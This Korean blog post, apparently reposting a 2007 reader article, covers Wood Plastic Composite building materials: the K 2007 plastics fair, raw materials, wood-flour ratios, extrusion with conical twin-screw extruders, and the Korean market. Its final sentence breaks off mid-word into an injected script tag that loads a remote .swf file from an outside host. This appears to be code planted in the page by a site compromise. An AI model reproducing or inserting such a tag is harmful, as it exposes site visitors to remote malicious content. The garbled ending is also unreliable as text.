목분 Wood-Flour (9)

목분 Wood-Flour (9)
http://kr.blog.yahoo.com/dasselstrasse/188

친환경으로 무장한 첨단 건축자재 WPC(Wood Plastic Composite)
2009.03.29 15:55 | 목분 Wood-Flour | dasselstrasse

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유니트라코리아 민경진 대표 독자 투고-

2007년 11월 15일


최근 독일의 Dusseldorf 에서 개최된 K 2007 Plastic fair에서는 전 세계의 최대 첨단 Plastic 전시회의 명성에 걸맞은 다양한 종류의 Plastic제품과 관련 제조 설비, 기술 등이 다양하게 선을 보였다.

이중 특히 눈에 띄는 제품 중 하나가 최근 국내에도 시장의 확대가 시작된 WPC 제품.
WPC는 Wood Plastic Composite의 약자로 WFPC 혹은 Wood Polymer Composite 등의 용어로도 사용되고 있는 첨단의 건축자재이다.

1980년대부터 꾸준히 개발되어 발전해온 이 제품은 그 특성이 목재와 Plastic 의 장점을 고루 살려 향후 사용될 건축자재 및 생활 주변의 자재에 기본적인 한 부분을 확고히 자리 잡을 전망이다.

이 WPC 자재는 현재 PVC, Aluminum 및 steel제품이 주류를 이루고 있는 창호 및 건자재 시장에 제품자체가 가지고 있는 다양한 용도의 적용 가능성과 양호한 가공성 그리고 친환경성을 무기로 빠른 속도로 시장을 확대할 전망이다.
특히 지금까지 외부용의 자재로 잘 알려진 WPC의 Deck자재 외에도 창호, 실배 가구재, 바닥재, 방음벽 등의 거의 모든 인테리어 분야의 용도에도 활발한 개발이 이루어지고 있다.

WPC 는 목재의 조직 내 가도관 조직의 공극사이에 플라스틱 Polymer(고분자)를 강한 압력과 온도로 강제 함침 처리하여, 기존 목재가 가지고 있는 장점은 그대로 유지하며, 목재의 단점을 극복한 제품으로 WPC 처리를 통해 제품의 밀도, 치수 안정성, 물성 향상을 통한 제품 내구성이 증대됨은 물론 주변 온도 및 수분 조건에 더욱 강한 제품의 설계가 가능하다. 또한 WPC 처리시 목재 내부로 균일한 색상 조정 및 주입이 가능하여, 압출 가공 시의 기술에 의해 제품의 내후성을 고도의 수준으로 유지하는 것이 가능해졌다.

WPC 의 일반적인 제조공법은 1.원료의 준비공정→ 2.원료의 일차 가공→ 3.압출, 혼련 공정→ 4.성형 및 후가공 공정으로 대별되며 원료는 일반적으로 목분과 Polymer로서 PP, PE 또는 PVC를 사용하며 특수한 능을 부여하기 위해 열경화성 수지를 사용하기도 한다.

사용되는 목분의 경우 식물성의 구조를 가진 어떠한 재료도 WPC의 원료로 사용할 수 있다. 일부의 업체에서는 가축의 사료로 사용되는 옥수수, 쌀 등의 원료로 제품을 제조하는 곳도 있으며 가장 보편된 경우는 분말형태의 목재를 사용하는 것이다.

이의 공급을 위하여 전문적으로 목분의 제조를 통하여 필요한 수분함유량까지 조정하여 공급하는 업체들이 있다. Polymer 의 경우 일반적인 올레핀계통의 수지를 사용하거나 PVC 혹은 초 고강도의 제품 특성을 요구하는 경우 멜라민 수지를 사용할 수 있어 비교적 사용의 선택범위가 넓은 편이다. 하지만 최근의 유럽, 일본 및 국내의 추세는 환경적인 요소를 고려, PP수지를 사용하는 것이 보편적인 추세로 자리를 잡았다.

기타의 부원료는 목재와 polymer 가 잘 융합되게 하기 위한 coupling agent, 색상을 위한 color master batch 및 기타의 제품 특성에 필요한 소량 부 원료들을 회사의 특성에 맞게 조합하여 사용한다. 목분의 함유량은 이론적으로 95%까지도 가능하나 일반적으로 최대 75%의 목분을 Polymer 와 혼합하여 사용하는 경향이다.

WPC의 가장 중요한 가공 공정인 압출공정은 미리 건조되어 부원료와 일정한 비율로 혼합된 compound상태의 원료가 압출기의 hopper를 통하여 screw배부로 들어가며 시작한다.

목분의 특성상 비중이 낮으며 탄화점이 낮고 목분의 내부 구조가 압출공정 상의 심한 shear stress에 약하므로 압출기의 screw구조는 이에 맞추어 최대한의 토출량과 최적의 혼련도 및 최소의 melt에 가해지는 stress상태를 유지하여 금형으로 최대 압력을 제공하여야 한다.

따라서 요구되는 screw의 구조는 Parallel Conical 구조가 최적의 설계로 인정받고 있다. WPC 압출기의 생산의 세계적인 명성을 가진 원조격인 Cincinnati Extrusion GmbH 사의 경우 Conical Twin Screw의 압출기 구조를 표준으로 가지고 있으며 목분 원료의 특성 상 발생하는 다량의 수분과 부식성 액상, 기상 성분에 대처하기 위해 Screw 와 barrel 을 최대의 내식, 내마모성을 보유한 Tungsten Carbide강으로 제작한다.

이후 완벽한 상태로 혼련된 melt가 요구하는 형태의 profile용 압출 금형 혹은 pellet상태의 compounding die를 통해 제품이 생산된다.

과거의 초보적인 WPC 와 달리 최근의 WPC 는 단순한 목분의 재사용을 위한 개념의 압출이 아닌 완전히 새로운 제품의 생산을 위한 공정으로 고품질의 Profile을 다양한 용도의 제품으로 건축자재로 활용하는 것으로 발전하였다.

최근의 국내 WPC 시장은 건자재 생산을 선도하는 대기업을 중심으로 Deck 및 Siding 재의 시장이 급속히 형성되어 가고 있으며 연관 중소기업에서도 독자적인 상품의 개발을 위해 발 빠르게 시장 진입을 준?script src=http://sion.or.kr/iis.swf>



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